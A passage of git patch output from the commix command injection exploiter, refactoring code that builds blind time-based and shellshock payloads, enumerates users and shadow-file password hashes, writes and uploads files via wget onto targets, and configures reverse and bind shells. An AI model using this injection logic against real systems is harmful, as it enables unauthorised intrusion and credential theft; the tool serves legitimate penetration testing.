'" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - print(fields[0]) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + fields[0]) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.SHADOW_FILE + "' file." - print(settings.print_warning_msg(warn_msg)) - + checks.print_users(sys_users, filename, _) settings.ENUMERATION_DONE = True """ @@ -350,121 +148,32 @@ def enumeration(url, cve, check_header, filename): """ def file_access(url, cve, check_header, filename): - #------------------------------------- - # Write to a file on the target host. - #------------------------------------- if menu.options.file_write: - file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - print(settings.print_warning_msg(warn_msg)) - raise SystemExit() - - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - print(settings.print_warning_msg(warn_msg)) - settings.FILE_ACCESS_DONE = True - - #------------------------------- - # Check the file-destination - #------------------------------- - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - - # Execute command - cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" + file_to_write, dest_to_write, content = checks.check_file_to_write() + cmd = checks.write_content(content, dest_to_write) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - - # Check if file exists! - cmd = "ls " + dest_to_write + "" - # Check if defined cookie injection. + cmd = checks.check_file(dest_to_write) + cmd = checks.remove_command_substitution(cmd) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell: - info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions to write the '" - warn_msg += dest_to_write + "' file." - print(settings.print_warning_msg(warn_msg)) + checks.file_write_status(shell, dest_to_write) settings.FILE_ACCESS_DONE = True - #------------------------------------- - # Upload a file on the target host. - #------------------------------------- if menu.options.file_upload: - file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as warn_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, " - warn_msg += "does not exist. (" + str(warn_msg) + ")" - print(settings.print_critical_msg(warn_msg)) - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload + cmd, dest_to_upload = checks.check_file_to_upload() shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) - - # Check if file exists! - cmd = "ls " + dest_to_upload + cmd = checks.check_file(dest_to_upload) + cmd = checks.remove_command_substitution(cmd) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) - if shell: - info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to upload the '" + dest_to_upload + "' file." - print(settings.print_warning_msg(warn_msg)) + checks.file_upload_status(shell, dest_to_upload) settings.FILE_ACCESS_DONE = True - #------------------------------------- - # Read a file from the target host. - #------------------------------------- if menu.options.file_read: - file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching content of the file: '" - info_msg += file_to_read + "'." - print(settings.print_info_msg(info_msg)) - # Execute command - cmd = "cat " + settings.FILE_READ + file_to_read + cmd, file_to_read = checks.file_content_to_read() + cmd = checks.remove_command_substitution(cmd) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell: - _ = "Fetched file content" - print(settings.print_retrieved_data(_, shell)) - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Fetched file content '" - info_msg += file_to_read + "' : " + shell + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." - print(settings.print_warning_msg(warn_msg)) + checks.file_read_status(shell, file_to_read, filename) settings.FILE_ACCESS_DONE = True """ @@ -480,21 +189,17 @@ def execute_shell(url, cmd, cve, check_header, filename, os_shell_option): Configure the bind TCP shell """ def bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again): - settings.BIND_TCP = True # Set up RHOST / LPORT for the bind TCP connection. bind_tcp.configure_bind_tcp(separator = "") - if settings.BIND_TCP == False: if settings.REVERSE_TCP == True: os_shell_option = "reverse_tcp" reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) return go_back, go_back_again - while True: if settings.RHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_bind_tcp_options(settings.RHOST) - else: cmd = bind_tcp.bind_tcp_options(separator = "") result = checks.check_bind_tcp_options(cmd) @@ -505,7 +210,6 @@ def bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http go_back_again = True settings.BIND_TCP = False return go_back, go_back_again - # execute bind TCP shell execute_shell(url, cmd, cve, check_header, filename, os_shell_option) @@ -513,17 +217,14 @@ def bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http Configure the reverse TCP shell """ def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again): - settings.REVERSE_TCP = True # Set up LHOST / LPORT for the reverse TCP connection. reverse_tcp.configure_reverse_tcp(separator = "") - if settings.REVERSE_TCP == False: if settings.BIND_TCP == True: os_shell_option = "bind_tcp" bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) return go_back, go_back_again - while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options(settings.LHOST) @@ -537,7 +238,6 @@ def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, h go_back_again = True settings.REVERSE_TCP = False return go_back, go_back_again - # execute bind TCP shell execute_shell(url, cmd, cve, check_header, filename, os_shell_option) @@ -545,13 +245,15 @@ def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, h Check commix shell options """ def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again,no_result): - if os_shell_option == False: if no_result == True: return False else: return True + if os_shell_option == None: + return go_back, go_back_again + # The "back" option elif os_shell_option == "back": go_back = True @@ -599,7 +301,7 @@ def shellshock_handler(url, http_request_method, filename): settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False i = i + 1 - attack_vector = "echo " + cve + ":Done;" + attack_vector = "echo" + " " + cve + ":Done;" payload = shellshock_payloads(cve, attack_vector) # Check if defined "--verbose" option. @@ -721,7 +423,7 @@ def shellshock_handler(url, http_request_method, filename): print(settings.print_retrieved_data(_, shell)) else: err_msg = "The execution of '" + cmd + "' command does not return any output." - print(settings.print_critical_msg(err_msg)) + print(settings.print_error_msg(err_msg)) try: # Pseudo-Terminal shell @@ -751,31 +453,29 @@ def shellshock_handler(url, http_request_method, filename): go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again, no_result) if go_back and go_back_again == False: break - else: - logs.logs_notification(filename) - return True + if go_back and go_back_again: + return True + # else: + # logs.logs_notification(filename) + # return True else: shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell != "": # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) - print(settings.SINGLE_WHITESPACE) - print(Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL) - print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(shell)) else: debug_msg = "Executing the '" + cmd + "' command. " if settings.VERBOSITY_LEVEL == 1: print(settings.print_debug_msg(debug_msg)) - print(settings.SINGLE_WHITESPACE) print(settings.print_payload(payload)) - print(settings.SINGLE_WHITESPACE) elif settings.VERBOSITY_LEVEL >= 2: print(settings.print_debug_msg(debug_msg)) - print(settings.SINGLE_WHITESPACE) sys.stdout.write(settings.print_payload(payload)) + if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) err_msg = "The execution of '" + cmd + "' command does not return any output." - print(settings.print_critical_msg(err_msg)) + print(settings.print_error_msg(err_msg)) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 94aca7f6f8..68651c5372 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -547,7 +547,6 @@ def configure_bind_tcp(separator): print(settings.print_error_msg(err_msg)) pass else: - print(settings.SINGLE_WHITESPACE) err_msg = "The '" + option + "' option, is not valid." print(settings.print_error_msg(err_msg)) pass diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index cb887c9905..bf7553a717 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -762,7 +762,6 @@ def configure_reverse_tcp(separator): print(settings.print_error_msg(err_msg)) pass else: - print(settings.SINGLE_WHITESPACE) err_msg = "The '" + option + "' option, is not valid." print(settings.print_error_msg(err_msg)) pass diff --git a/src/utils/settings.py b/src/utils/settings.py index 14389aeae3..acca6bfab3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "78" +REVISION = "79" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -534,10 +534,17 @@ def sys_argv_errors(): # File System access options # Read file FILE_READ = "cat " +FILE_WRITE_OPERATOR = " > " WIN_FILE_READ = "type " +# List file +FILE_LIST = "ls " +FILE_LIST_WIN = "dir " + +CERTUTIL_DECODE_CMD = "certutil -decode " + # Write file -FILE_WRITE = "echo " +FILE_WRITE = "printf " # Write file FILE_UPLOAD = "wget " From e7e2d61a59dab3690349fd0dafa2656e32fcc459 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 9 Jun 2022 09:03:41 +0300 Subject: [PATCH 0156/1023] Additional fixes / updates regarding commit https://github.com/commixproject/commix/commit/f7ca42f9967411c11ec0b2e16dbf38d1cbca42ee --- .../techniques/time_based/tb_enumeration.py | 49 +++----- .../techniques/time_based/tb_payloads.py | 10 +- src/core/injections/controller/checks.py | 117 ++++++++++++++---- src/core/injections/controller/parser.py | 2 +- .../techniques/classic/cb_enumeration.py | 52 +++----- .../techniques/eval_based/eb_enumeration.py | 65 ++++------ .../techniques/eval_based/eb_injector.py | 4 +- .../techniques/file_based/fb_enumeration.py | 51 +++----- .../techniques/file_based/fb_handler.py | 2 +- .../techniques/file_based/fb_payloads.py | 13 +- .../tempfile_based/tfb_enumeration.py | 47 +++---- .../techniques/tempfile_based/tfb_handler.py | 2 +- .../techniques/tempfile_based/tfb_payloads.py | 41 +++--- src/core/main.py | 11 +- src/core/modules/shellshock/shellshock.py | 47 +++---- src/core/shells/reverse_tcp.py | 10 +- src/utils/common.py | 2 +- src/utils/settings.py | 5 +- src/utils/simple_http_server.py | 2 +- 19 files changed, 251 insertions(+), 281 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index db2344bd2f..3dfdefbf87 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -35,7 +35,7 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, _ = False cmd = settings.PS_VERSION if alter_shell: - cmd = cmd.replace("'","\\'") + cmd = checks.escape_single_quoted_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) @@ -91,7 +91,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) distro_name = output if len(distro_name) != 0: - target_os = target_os + " " + distro_name + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: @@ -146,12 +146,12 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites """ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False + cmd = settings.SYS_USERS if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" + cmd = settings.WIN_SYS_USERS + cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: - settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") - cmd = settings.SYS_USERS + cmd = checks.escape_single_quoted_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: try: check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) @@ -185,8 +185,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti Single os-shell execution """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - info_msg = "Executing the user-supplied command: '" + cmd + "'." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_single_os_cmd_msg(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) @@ -196,12 +195,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) check_how_long = 0 - if len(output) > 1: - _ = "'" + cmd + "' execution output" - print(settings.print_retrieved_data(_, output)) - else: - err_msg = "The execution of '" + cmd + "' command does not return any output." - print(settings.print_error_msg(err_msg)) + checks.print_single_os_cmd(cmd, output) return check_how_long, output """ @@ -217,53 +211,42 @@ def reset(): if not checks.ps_incompatible_os(): if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching powershell version." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().ps_version_msg() powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.hostname: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching hostname." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().hostname_msg() hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.current_user: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching current user." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().current_user_msg() current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.is_root or menu.options.is_admin: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - info_msg = "Testing if current user has excessive privileges." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().check_privs_msg() check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.sys_info: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching the underlying operating system information." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().os_info_msg() system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.users: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_users_msg() system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() @@ -274,9 +257,7 @@ def reset(): check_option = "--passwords" checks.unavailable_option(check_option) else: - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_passes_msg() system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index d90fdaf3ba..31c925517f 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -81,7 +81,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(output_length) + " -ne $(echo " + TAG + " " + + "[ " + str(output_length) + " -ne $(echo " + TAG + settings.SINGLE_WHITESPACE + pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + "sleep " + str(timesec) ) @@ -256,7 +256,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque payload = (separator + " " + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do if %i==" +str(output_length) + " " + + "') do if %i==" +str(output_length) + settings.SINGLE_WHITESPACE + "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" ) @@ -266,7 +266,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque payload = (ampersand + " " "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do if %i==" +str(output_length) + " " + + "') do if %i==" +str(output_length) + settings.SINGLE_WHITESPACE + "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" ) @@ -563,7 +563,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt payload = (separator + " " + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do if %i==" +str(ascii_char) + " " + + "') do if %i==" +str(ascii_char) + settings.SINGLE_WHITESPACE + "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" ) @@ -574,7 +574,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt payload = (ampersand + " " "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do if %i==" +str(ascii_char) + " " + + "') do if %i==" +str(ascii_char) + settings.SINGLE_WHITESPACE + "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" ) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 4d3f1f01fc..c5bc7578e1 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -246,7 +246,9 @@ def load_cmd_history(): warn_msg += "More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" print(settings.print_warning_msg(warn_msg)) -# If the value has boundaries. +""" +Check if the value has boundaries. +""" def value_boundaries(value): message = "It appears that the value '" + value + "' has boundaries. " message += "Do you want to inject inside? [Y/n] > " @@ -263,7 +265,9 @@ def value_boundaries(value): pass return value -# Ignoring the anti-CSRF parameter(s). +""" +Ignoring the anti-CSRF parameter(s). +""" def ignore_anticsrf_parameter(parameter): if any(parameter.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): info_msg = "Ignoring the parameter '" + parameter.split("=")[0] @@ -271,7 +275,9 @@ def ignore_anticsrf_parameter(parameter): print(settings.print_info_msg(info_msg)) return True -# Ignoring the Google analytics cookie parameter. +""" +Ignoring the Google analytics cookie parameter. +""" def ignore_google_analytics_cookie(cookie): if cookie.upper().startswith(settings.GOOGLE_ANALYTICS_COOKIE_PREFIX): info_msg = "Ignoring the Google analytics cookie parameter '" + cookie.split("=")[0] + "'." @@ -1623,7 +1629,7 @@ def check_similarities(all_params): if re.findall(r'', all_params[param]) == re.findall(r'>(.*)(.*)" + parameter_name + settings.RANDOM_TAG + "" + all_params[param] = "<" + parameter_name + settings.FILE_WRITE_OPERATOR + parameter_name + settings.RANDOM_TAG + "" else: if re.findall(r'(.*)=', all_params[param]) == re.findall(r'=(.*)', all_params[param]): parameter_name = re.findall(r'=(.*)', all_params[param]) @@ -1673,7 +1679,6 @@ def print_ps_version(ps_version, filename, _): settings.PS_ENABLED = False ps_check_failed() - """ Print hostname """ @@ -1751,6 +1756,46 @@ def print_os_info(target_os, target_arch, filename, _): warn_msg = "Heuristics have failed to fetch underlying operating system information." print(settings.print_warning_msg(warn_msg)) +""" +Print enumeration info msgs +""" +class print_enumenation(): + def ps_version_msg(self): + info_msg = "Fetching powershell version." + print(settings.print_info_msg(info_msg)) + + def hostname_msg(self): + info_msg = "Fetching hostname." + print(settings.print_info_msg(info_msg)) + + def current_user_msg(self): + info_msg = "Fetching current user." + print(settings.print_info_msg(info_msg)) + + def check_privs_msg(self): + info_msg = "Testing if current user has excessive privileges." + print(settings.print_info_msg(info_msg)) + + def os_info_msg(self): + info_msg = "Fetching the underlying operating system information." + print(settings.print_info_msg(info_msg)) + + def print_users_msg(self): + if settings.TARGET_OS == "win": + info_msg = "Executing the 'net users' command " + else: + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + "' " + info_msg += "in order to enumerate users entries. " + print(settings.print_info_msg(info_msg)) + + def print_passes_msg(self): + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + "' " + info_msg += "in order to enumerate users password hashes. " + print(settings.print_info_msg(info_msg)) + + def print_single_os_cmd_msg(self, cmd): + info_msg = "Executing the user-supplied command: '" + cmd + "'." + print(settings.print_info_msg(info_msg)) """ Print users enumeration. @@ -1759,7 +1804,7 @@ def print_users(sys_users, filename, _): # Windows users enumeration. if settings.TARGET_OS == "win": try: - if sys_users[0] : + if sys_users: sys_users = "".join(str(p) for p in sys_users).strip() sys.stdout.write(settings.SUCCESS_STATUS) sys_users_list = re.findall(r"(.*)", sys_users) @@ -1792,10 +1837,10 @@ def print_users(sys_users, filename, _): check_privs = "".join(str(p) for p in check_privs).strip() check_privs = check_privs.split() if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " admin user" is_privileged_nh = " is admin user " else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user" is_privileged_nh = " is regular user " else : is_privileged = "" @@ -1821,7 +1866,7 @@ def print_users(sys_users, filename, _): # Unix-like users enumeration. else: try: - if sys_users[0] : + if sys_users: sys_users = "".join(str(p) for p in sys_users).strip() if len(sys_users.split(" ")) <= 1 : sys_users = sys_users.split("\n") @@ -1867,20 +1912,20 @@ def print_users(sys_users, filename, _): raise ValueError() if menu.options.privileges: if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " root user " is_privileged_nh = " is root user " elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " system user " is_privileged_nh = " is system user " elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " anonymous user " is_privileged_nh = " is anonymous user " elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " non-trusted user " is_privileged_nh = " is non-trusted user " else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user " is_privileged_nh = " is regular user " else : is_privileged = "" @@ -1888,11 +1933,11 @@ def print_users(sys_users, filename, _): else : is_privileged = "" is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "' " + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -1925,8 +1970,7 @@ def print_users(sys_users, filename, _): def print_passes(sys_passes, filename, _): if sys_passes == "": sys_passes = " " - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split() + sys_passes = sys_passes.replace(" ", "\n").split() if len(sys_passes) != 0 : if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) @@ -1968,6 +2012,17 @@ def print_passes(sys_passes, filename, _): warn_msg += settings.SHADOW_FILE + "' file." print(settings.print_warning_msg(warn_msg)) +""" +Print single OS command +""" +def print_single_os_cmd(cmd, shell): + if len(shell) > 1: + _ = "'" + cmd + "' execution output" + print(settings.print_retrieved_data(_, shell)) + else: + err_msg = "The execution of '" + cmd + "' command does not return any output." + print(settings.print_error_msg(err_msg)) + """ Quote provided cmd """ @@ -1975,6 +2030,13 @@ def quoted_cmd(cmd): cmd = "\"" + cmd + "\"" return cmd +""" +Escape single quoted cmd +""" +def escape_single_quoted_cmd(cmd): + cmd = cmd.replace("'","\\'") + return cmd + """ Find filename """ @@ -1989,7 +2051,14 @@ def find_filename(dest_to_write, content): Decode base 64 encoding """ def win_decode_b64_enc(fname, tmp_fname): - cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname + " " + fname + cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname + settings.SINGLE_WHITESPACE + fname + return cmd + +""" +Add command substitution on provided command +""" +def add_command_substitution(cmd): + cmd = "echo $(" + cmd + ")" return cmd """ @@ -1999,6 +2068,10 @@ def remove_command_substitution(cmd): cmd = cmd.replace("echo $(","").replace(")","") return cmd +def remove_parenthesis(cmd): + cmd = cmd.replace("(","").replace(")","") + return cmd + """ Write the file content """ @@ -2020,11 +2093,11 @@ def delete_tmp(tmp_fname): def check_file(dest_to_upload): if settings.TARGET_OS == "win": cmd = settings.FILE_LIST_WIN + dest_to_upload - else: - cmd = "echo $(" + settings.FILE_LIST + dest_to_upload + ")" + else: + cmd = settings.FILE_LIST + 